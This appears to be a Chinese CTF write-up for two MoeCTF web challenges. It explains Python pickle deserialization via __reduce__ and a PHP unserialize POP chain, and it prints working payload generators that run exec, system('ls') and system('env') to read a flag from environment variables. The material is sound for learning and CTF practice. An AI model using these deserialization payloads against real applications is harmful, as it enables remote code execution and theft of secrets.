MoeCTF-Web

PetStore 题解(pickle反序列化)

审计源码,小白没发现什么,看了提示是pickle序列化与反序列化,查看Dockerfile,flag在环境变量里

pickle模块提供了一种简单且强大的方法来实现对象的序列化和反序列化,使得开发者能够方便地将复杂的Python对象转化为字节流并在需要时重新还原。

基本使用

1
2
3
4
5
6
7
8
import pickle

data = {'name': 'Alice', 'age': 25}
serialized_data = pickle.dumps(data)

deserialized_data = pickle.loads(serialized_data)

print(deserialized_data)

在上述代码中,我们首先使用pickle.dumps()函数将一个Python对象序列化为字节流,然后使用pickle.loads()函数将字节流反序列化为Python对象。

和php类似,python魔术方法也会在一些特定情况下被自动调用.我们尤其要注意的是__reduce__魔术方法,这会在反序列化过程开始时被调用,所以我们可以序列化一个__reduce__魔术方法中有系统命令的实例并且让服务器将它反序列化,从而达到任意命令执行的效果.

除此之外还有很多魔术方法.例如初始化函数__init__和构造函数__new__.和php类似,python中也有魔法属性.例如__doc__,__name__,__class__,__base__等.

引自pickle反序列化漏洞基础知识与绕过简析 - 先知社区 (aliyun.com)

这里通过 picklebase64 的结合,是利用了 Python 对象序列化和反序列化中的安全漏洞。这种方式可以在服务端执行恶意代码。让我们仔细看为什么这个攻击有效:

  1. pickle 反序列化漏洞: pickle 是 Python 的序列化工具,可以将 Python 对象转为字节流。反序列化时,pickle 会重建对象及其状态。如果恶意用户能够控制传入的数据,就可以构造特定对象,在反序列化的过程中执行任意代码。
  2. 在代码中,import_pet 函数会对传入的 serialized_pet 字符串进行 pickle.loads() 操作。这意味着传入的数据会被反序列化为 Python 对象,如果构造的对象具有特殊方法(例如 __reduce__()),就能让服务端执行任意代码。

注:

pickle 模块的反序列化过程之所以能执行任意代码,是因为在反序列化对象时,pickle 支持一些特殊的钩子方法,比如 __reduce__()__reduce_ex__()、和 __getstate__()。这些方法允许对象指定在反序列化时应执行的操作,而这种机制为攻击者提供了利用机会。

具体来说,__reduce__() 方法可以返回两个元素的元组:(可调用对象, 参数)。当 pickle 在反序列化对象时,会使用这个元组的第一个元素作为可调用对象,并将第二个元素作为参数传递给它。因此,如果一个恶意对象实现了 __reduce__() 方法并在其中返回一些任意的可执行代码(如 exec 函数),在反序列化时就会触发这个代码的执行。

例如,__reduce__() 可能返回 (os.system, ("ls",)),那么在反序列化时,pickle 模块就会调用 os.system("ls"),从而执行命令行中的 ls 命令。

官解代码:

1
2
3
4
5
6
7
8
import base64
import pickle
class Test:
def __reduce__(self):
return (exec, ("import os;store.create_pet(os.getenv('FLAG'), 'flag');",))
if __name__ == "__main__":
print(base64.b64encode(pickle.dumps(Test())).decode("utf-8"))

exec(“import os; store.create_pet(‘flag’, os.getenv(‘FLAG’));”)

1
2
3
4
5
6
7
8
9
10
import base64
import pickle

class Test:
def __reduce__(self):
return (exec, ("import os;store.create_pet(os.popen('echo $FLAG').read().strip(), 'flag');",))

if __name__ == "__main__":
print(base64.b64encode(pickle.dumps(Test())).decode("utf-8"))

也行

moe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
class class000 {
private $payl0ad = 0;
protected $what;
public function __destruct(){
$this->check();
}

public function check(){
if($this->payl0ad === 0){
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

class class001 {
public $payl0ad;
public $a;
public function __invoke(){
$this->a->payload = $this->payl0ad;
}
}

class class002 {
private $sec;
public function __set($a, $b){
$this->$b($this->sec);
}

public function dangerous($whaattt){
$whaattt->evvval($this->sec);
}
}

class class003 {
public $mystr;
public function evvval($str){
eval($str);
}

public function __tostring(){
return $this->mystr;
}
}

if(isset($_GET['data'])){
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}
?>

**(错的分析)**我们看上面那段代码,class002调用了class003的evvval函数,eval执行了$str,$str应该是一个语句,所以$whaattt应该是$class003,sec是system(‘ls’);之类的,__set是个赋值函数,tostring的作用是,比如要打印class003对象,打印的就是mystr。

下面正确

__set( $property, $value )`$a是属性,$b是值

$a = $this->what;

把what给了a,what应该是个对象

dangerous是需要被调用的,我们找找哪里可以调用它

观察到$this->a->payload = $this->payl0ad;

payload只出现了一次,可能是个property,需要赋值,那么$a会不会就是class002,payl0ad就是dangerous

后来发现之前分析不对啊!!!

如果$b(payl0ad)是dangerous

1
2
3
4
5
6
7
8
9
10
class class002 {
private $sec;
public function __set($a, $b){
$this->$b($this->sec);
}

public function dangerous($whaattt){
$whaattt->evvval($this->sec);
}
}

$b($this->sec);和dangerous($whaattt),发现,$this->sec和$whaattt,那么sec就不能是语句,应该是个对象!!!,也就是class003.evvval(class003),我们发现如果sec作为参数传入的话,根据tostring,它会被解析为mystr,所以mystr才是语句

因此理一下,函数调用顺序为

__destruct()->check()->__invoke()->__set()->dangerous()->evvval()->eval()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
class class000 {
public $payl0ad = 1;
public $what;
public function __destruct(){
$this->check();
}

public function check(){
if($this->payl0ad === 0){
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

class class001 {
public $payl0ad = "dangerous";
public $a;
public function __invoke(){
$this->a->payload = $this->payl0ad;
}
}

class class002 {
public $sec;
public function __set($a, $b){
$this->$b($this->sec);
}
public function dangerous($whaattt){
$whaattt->evvval($this->sec);
}
}

class class003 {
public $mystr="system('ls');";
public function evvval($str) {
eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}

$what = new class003();
$b = new class002();
$b->sec = $what;
$c = new class001();
$c->a = $b;
$d = new class000();
$d->what = $c;
echo urlencode(serialize($d));
?>

$payl0ad要改成1注意,找flag可以去改语句$mystr,Flag还是在env里面,命令改成system(‘env’);即可

还有其他写法

官方wp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
highlight_file(__FILE__);
class class000 {
private $payl0ad;
protected $what;
public function __construct(){
$this->payl0ad = 1;
$this->what = new class001;
}
}
class class001 {
public $payl0ad;
public $a;
public function __construct(){
$this->a = new class002;
$this->payl0ad = 'dangerous';
}
}
class class002 {
private $sec;
public function __construct(){
$this->sec = new class003;
}
}
class class003 {
public $mystr;
public function __construct(){
$this->mystr = "system('env');";
}
}
echo urlencode(@serialize(new class000));
?>

1